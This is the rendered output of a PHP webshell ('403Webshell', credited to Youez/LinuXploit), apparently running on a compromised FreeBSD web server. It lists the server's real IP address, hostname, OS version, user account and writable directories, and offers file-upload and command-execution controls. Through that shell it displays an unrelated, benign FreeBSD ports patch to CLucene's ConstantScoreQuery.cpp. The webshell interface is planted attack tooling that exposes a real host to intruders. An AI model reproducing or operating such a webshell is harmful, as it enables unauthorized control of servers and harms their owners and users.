403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.39
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/textproc/clucene/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/textproc/clucene/files/patch-src__core__CLucene__search__ConstantScoreQuery.cpp
--- src/core/CLucene/search/ConstantScoreQuery.cpp.orig	2011-03-16 20:21:07.000000000 -0400
+++ src/core/CLucene/search/ConstantScoreQuery.cpp	2013-03-27 17:34:06.000000000 -0400
@@ -25,14 +25,17 @@
     BitSet* bits;
     const float_t theScore;
     int32_t _doc;
+    bool shouldDelete;
 
 public:
     ConstantScorer(Similarity* similarity, IndexReader* reader, Weight* w, Filter* filter) : Scorer(similarity),
         bits(filter->bits(reader)), theScore(w->getValue()), _doc(-1)
     {
+        shouldDelete = filter->shouldDeleteBitSet(bits);
     }
     virtual ~ConstantScorer() {
-        _CLLDELETE(bits);
+        if ( shouldDelete)
+            _CLLDELETE(bits);
     }
 
     bool next() {

Youez - 2016 - github.com/yon3zu
LinuXploit